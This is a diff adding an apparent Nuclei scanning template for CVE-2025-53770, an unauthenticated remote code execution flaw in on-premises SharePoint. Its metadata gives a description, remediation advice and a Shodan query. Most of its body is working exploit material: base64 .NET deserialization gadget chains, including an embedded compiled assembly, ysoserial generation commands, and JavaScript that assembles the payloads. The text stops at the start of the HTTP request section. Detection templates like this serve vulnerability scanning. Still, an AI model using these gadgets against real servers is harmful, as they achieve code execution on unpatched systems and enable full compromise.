+    Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.
+  impact: |
+    Unauthenticated attackers can exploit unsafe deserialization to achieve remote code execution on SharePoint Server, leading to full system compromise.
+  remediation: |
+    Apply the latest security patches from Microsoft or implement the temporary mitigations provided in the CVE documentation until a comprehensive update is available.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-53770
+    - https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/
+    - https://x.com/codewhitesec/status/1944743478350557232
+    - https://github.com/rapid7/metasploit-framework/pull/20409
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-53770
+    cwe-id: CWE-502
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.component:"sharepoint"
+  tags: cve,cve2025,kev,sharepoint,rce,microsoft,toolshell
+
+variables:
+  dataset_gadget_b64: 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'
+  # ./ysoserial.exe -f LosFormatter -g XamlAssemblyLoadFromFile -c "Exploit.cs;System.dll;System.Web.dll"
+  # HttpContext.Current.Response.Headers["X-Nuclei"] = "CVE-2025-53770";
+  internal_gadget_b64: '/wEy1jAAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAAAYHAAAAqiA8UmVzb3VyY2VEaWN0aW9uYXJ5CnhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iCnhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIgp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiIKeG1sbnM6cj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uUmVmbGVjdGlvbjthc3NlbWJseT1tc2NvcmxpYiIKeG1sbnM6aT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uSU87YXNzZW1ibHk9bXNjb3JsaWIiCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLklPLkNvbXByZXNzaW9uO2Fzc2VtYmx5PVN5c3RlbSIKPgogICA8czpBcnJheSB4OktleT0iZGF0YSIgeDpGYWN0b3J5TWV0aG9kPSJzOkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyI+CiAgICAgIDx4OkFyZ3VtZW50cz4KICAgICAgICAgPHM6U3RyaW5nPkg0c0lBQUFBQUFBRUFPMVd5MDljVlJqLzNXRm9oNkVRS0xXV3BOYUxVRU45M0F4bDhORVlTeG13WUhqSndORFlKbkJuNWdqWDNMbDNldThkaEM2MExqUTFNV3FpY2VmS1RSZGROS2JHeHNURWhWdVdibHp4QjVqb1ZoZmk3NXg3NXdGTVVqYW1pZUc3Yzc1enpuZSt4Kzg3ejVsNSt3dTBBSWl6N080Q0R4SFNLQjVOdDFrNm4vNnhFdy9hdHZzZWF0UGJmWXZybHErWFBYZk5NMHQ2d1hRY045RHpRdmNxam00NSt2aGNWaSs1UldGMGRDUUhJaC96RThDMDFvTHlxUS9YcTM1M0VPdHIxOXFCWXdnTDZadzAwR3ZBdWxRN0Z1SUc2clVDRlF1YkxSajlTS3JLWDcydVZZcCs2UWVXbzRUdnhwb2t1UXFjT01SY0hDRGlTelIwRSt4UE52U05RR3dHckFmaW9hN0tjMTk4aWxjTnovY0tpTEFSbzBvMHNWZVA0bEhERTdaYmlMQ3VScjVPSE5BYk80QXpXb2hKWmRLS1RRYWQ1b2JRRHBGaU0vbzZOa2pyNUNCaEp0MVd5WmhZMHFPN3N0ZEQ1aDVuOXprQ3liNDVwa1ZSSk15TnRKRXlobFBEUTY5S1NTdHM4ck1jN244ZnVNTjZRTGF6Z1djNWE3N1V1TWY4MHF6N2w3TFlpWVZyMm45MWFXcWM5Wi9zMzVEOU1kdk5SN2dvMHE2ZUF0cGs1Ky96d3pnZDVsaWRkdGsrM3RCdVVWYkpDT0V4WE1BejVEbThSTDVCbnNSZGZFUCtNM2tuL3NKdlNrK0x1UHk2OEtUS1JMYm5kU24vK0V4S2VleEdpamE5a0wwMnhmdndBR2ZKdDFrdW9FTjdGa1BvMVo2SGdYYTJEUFRnRXVLMzk4LzFWMmpZOXlwdXI2b2JaVDNFdDErbU1aY2F2VGJqRml1MmVCMmwwbEJ4Sk8zZk5JcTJqUW1VL0lMcjJWWWUyUzAvRUNYTTVkOFZoUUJHSVhDOVNHWXNWSnpBS2drajQ1YktsaTI4clBBMnJJTHdFUXJNd0hLZEJXR2JtNnJsWHdtNGZ2bEtJQkFaU2pVTzVTM2JDcmJxbzFVazFURExJby9KSUNoblhFZWRtalVSckdRcW5pZWNRTWtYaEYrbWU2RUdhcDNJT09QYU5vSEwrRWEyTEFxV2FWdTNSQkd6Wmtua1RMc2k2Z3JLZmxLWVJlSDU4Tm1la29tVHVxL2hSY3lpZ2dMM3BZQUY3YWtNOThJRXBSZTVmaGN4d3RZSWh2RXl2NVRhQmQ5K3Y1UzYzdmZaNUtmZk9kZG52dno4TFNSK3VIVWoxNXZlK2FSRmh4YlhOUzJSdUg5NTVZUHVYNU9YdURZbnUrTTZUajRoV1crckh0TTZPeE5hZE16UHlRMjBHRHU5N0pubFdkZVoyQ3lJc2tTN3VPNjU3L2t5MXUvOTllWHNyTjZUeldpZ21YQWw0M3JqdGoxaldrNjQ2RUtvTFNCcDl6eDlkVFd6T3FML0kybHFzYytFcitnZXVkeG5xU1p5U2ZMdHVEYktkNlBoL1pxT3lkczVoeXhXMUVsWllHc0tjenhGSzZ4bjhRYmJrbjZLLy9GUHM5Zm1jbFRMZTJ2L3N6eXVJdWRnd3FNZlM1M0pLVGg0QjY0YUgxQldpeHcxS2ZVNWJpS2duc3RlU1Bmajl6VHBJMHU1eHhFZS9TYWU3aWlkVk8xTEl5L25BQzhRa1ZiVEgyZnhlVE5JUCtVOWNYUTFaNGtHM1J5TFIrMjZUb3EzZTczd09rWUg5U1dHUU9rNnhHNXp2a3lVMkFkNWlTOUNrYmRObW41dTBxckk4ZkMwRGlwYzA5UmJVMVlaUmlsalN5RmJ3enFDQ05PNGlqRVh5YTBvUmhXamM2aFlhWlhYUEgyNGxNcWJNVGlRM2Y3Y1hsRTJWNmpoVTdQRTJiU0pUbitrM1JIOWg2U0gvNy8wOU9NR2NrU1BnLzRGQmVCNm53QU9BQUE9PC9zOlN0cmluZz4KICAgICAgPC94OkFyZ3VtZW50cz4KICAgPC9zOkFycmF5PgogICA8aTpNZW1vcnlTdHJlYW0geDpLZXk9ImlucHV0U3RyZWFtIj4KICAgICAgPHg6QXJndW1lbnRzPgogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImRhdGEiPjwvU3RhdGljUmVzb3VyY2U+CiAgICAgIDwveDpBcmd1bWVudHM+CiAgIDwvaTpNZW1vcnlTdHJlYW0+CiAgIDxjOkdaaXBTdHJlYW0geDpLZXk9Imd6aXBTdHJlYW0iPgogICAgICA8eDpBcmd1bWVudHM+CiAgICAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iaW5wdXRTdHJlYW0iPjwvU3RhdGljUmVzb3VyY2U+CiAgICAgICAgICAgIDxjOkNvbXByZXNzaW9uTW9kZT4wPC9jOkNvbXByZXNzaW9uTW9kZT4KICAgICAgPC94OkFyZ3VtZW50cz4KICAgPC9jOkdaaXBTdHJlYW0+CiAgIDxzOkFycmF5IHg6S2V5PSJidWYiIHg6RmFjdG9yeU1ldGhvZD0iczpBcnJheS5DcmVhdGVJbnN0YW5jZSI+CiAgICAgIDx4OkFyZ3VtZW50cz4KICAgICAgICAgPHg6VHlwZSBUeXBlTmFtZT0iczpCeXRlIi8+CiAgICAgICAgIDx4OkludDMyPjM1ODQ8L3g6SW50MzI+CiAgICAgIDwveDpBcmd1bWVudHM+CiAgIDwvczpBcnJheT4KICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0idG1wIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGd6aXBTdHJlYW19IiBNZXRob2ROYW1lPSJSZWFkIj4KICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImJ1ZiI+PC9TdGF0aWNSZXNvdXJjZT4KICAgICAgICAgPHg6SW50MzI+MDwveDpJbnQzMj4KICAgICAgICAgPHg6SW50MzI+MzU4NDwveDpJbnQzMj4KICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJhc21Mb2FkIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHI6QXNzZW1ibHl9IiBNZXRob2ROYW1lPSJMb2FkIj4Line truncated
+  # ./ysoserial.exe -f LosFormatter -g ActivitySurrogateSelectorFromFile -c "E.cs;System.dll;System.Web.dll;System.Configuration.dll"  --minify
+  # HttpContext.Current.Response.Headers["X-Nuclei"] = "CVE-2025-53770";
+  internal_gadget2_b64: '/wEykEgAAQAAAP////8BAAAAAAAAAAQBAAAAO1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCxtc2NvcmxpYl1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABeU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAADgAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwDREYJoAAAAAAAAAADgAAIhCwELAAAGAAAABgAAAAAAAB4kAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAgAAAAAIAAAAAAAADAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADEIwAAVwAAAABAAACoAgAAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAACQEAAAAIAAAAAYAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACAAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgAAAAAgAAAAwAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAACQAAAAAAABIAAAAAgAFAHggAABMAwAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACWAigDAAAKKAQAAApvBQAACm8GAAAKcgEAAHByEwAAcG8HAAAKKgAAQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAAHAEAACN+AACIAQAAJAEAACNTdHJpbmdzAAAAAKwCAAA0AAAAI1VTAOACAAAQAAAAI0dVSUQAAADwAgAAXAAAACNCbG9iAAAAAAAAAAIAAAFHFAAACQAAAAD6JTMAFgAAAQAAAAYAAAACAAAAAQAAAAcAAAACAAAAAQAAAAMAAAAAAAoAAQAAAAAABgApACIABgBWADYABgB2ADYACgCoAJ0ACgDAAJ0ADgD5ANoAAAAAAAEAAAAAAAEAAQABABAAFwAAAAUAAQABAFAgAAAAAIYYMAAKAAEAEQAwAA4AGQAwAAoACQAwAAoAIQC0ABwAIQDNACEAKQANASYAMQAZASsALgALADEALgATADoABIAAAAAAAAAAAAAAAAAAAAAAlAAAAAQAAAAAAAAAAAAAAAEAGQAAAAAABAAAAAAAAAAAAAAAEwCdAAAAAAAEAAAAAAAAAAAAAAABACIAAAAAAAAAAAAAPE1vZHVsZT4AamxhbmVhZmkuZGxsAEUAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAamxhbmVhZmkAU3lzdGVtLldlYgBIdHRwQ29udGV4dABnZXRfQ3VycmVudABIdHRwUmVzcG9uc2UAZ2V0X1Jlc3BvbnNlAFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZABOYW1lVmFsdWVDb2xsZWN0aW9uAGdldF9IZWFkZXJzAHNldF9JdGVtAAAAABFYAC0ATgB1AGMAbABlAGkAAR1DAFYARQAtADIAMAAyADUALQA1ADMANwA3ADAAAQAAALmWmwS1JFZEgsg07Rmt28MACLd6XFYZNOCJAyAAAQQgAQEICLA/X38R1Qo6BAAAEhEEIAASFQQgABIZBSACAQ4OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQAAAOwjAAAAAAAAAAAAAA4kAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWEAAAEwCAAAAAAAAAAAAAEwCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsASsAQAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAACIAQAAAQAwADAAMAAwADAANABiADAAAAAsAAIAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAIAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMAAuADAALgAwAC4AMAAAADwADQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAagBsAGEAbgBlAGEAZgBpAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABEAA0AAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAagBsAGEAbgBlAGEAZgBpAC4AZABsAGwAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALine truncated
+
+
+flow: javascript() && http(1)
+javascript:
+  - code: |
+          const bytess = require("nuclei/bytes");
+
+          function u8(arr) { return new Uint8Array(arr); }
+
+          // String → Buffer (binary-safe)
+          function strToBuf(str) {
+            var b = new bytes.Buffer();
+            b.WriteString(str);
+            return b;
+          }
+          // 7-bit int encoding (like .NET BinaryWriter)
+          function encode7BitInt(n) {
+            if (n === 0) return new bytes.Buffer(u8([0]));
+            var tmp = [];
+            while (n > 0) {
+              var v = n & 0x7F;
+              n >>>= 7;
+              if (n > 0) v |= 0x80;
+              tmp.push(v);
+            }
+            return new bytes.Buffer(u8(tmp));
+          }
+          // Replace all occurrences of needle(Buffer) with repl(Buffer) in hay(Buffer)
+          function replaceAllBytes(hay, needle, repl) {
+            var H = hay.Bytes();
+            var N = needle.Bytes();
+            var out = new bytes.Buffer();
+
+            for (var i = 0; i < H.length;) {
+              var match = true;
+              for (var j = 0; j < N.length; j++) {
+                if (i + j >= H.length || H[i + j] !== N[j]) { match = false; break; }
+              }
+              if (match) {
+                out.Write(repl.Bytes());
+                i += N.length;
+              } else {
+                out.Write(u8([H[i]]));     // <-- IMPORTANT: Uint8Array, not plain []
+                i++;
+              }
+            }
+            return out;
+          }
+          dataset_gadget_raw = strToBuf(atob(dg));
+          dataset_gadget_raw1 = replaceAllBytes(
+            dataset_gadget_raw,
+            strToBuf("HAX"),
+            strToBuf(ig)
+          );
+          dataset_gadget_raw2 = replaceAllBytes(
+            dataset_gadget_raw,
+            strToBuf("HAX"),
+            strToBuf(ig2)
+          );
+          var oldLen = encode7BitInt(9163);
+          var newLen = encode7BitInt(9163 - 7772 + ig.length);
+          var newLen2 = encode7BitInt(9163 - 7772 + ig2.length);
+          dataset_gadget_raw1 = replaceAllBytes(dataset_gadget_raw1, oldLen, newLen);
+          dataset_gadget_raw2 = replaceAllBytes(dataset_gadget_raw2, oldLen, newLen2);
+          (btoa(dataset_gadget_raw1.String()) + ":" + btoa(dataset_gadget_raw2.String()))
+
+    args:
+      ig: "{{internal_gadget_b64}}"
+      ig2: "{{internal_gadget2_b64}}"
+      dg: "{{dataset_gadget_b64}}"
+
+http:
+  - raw:
+      - |
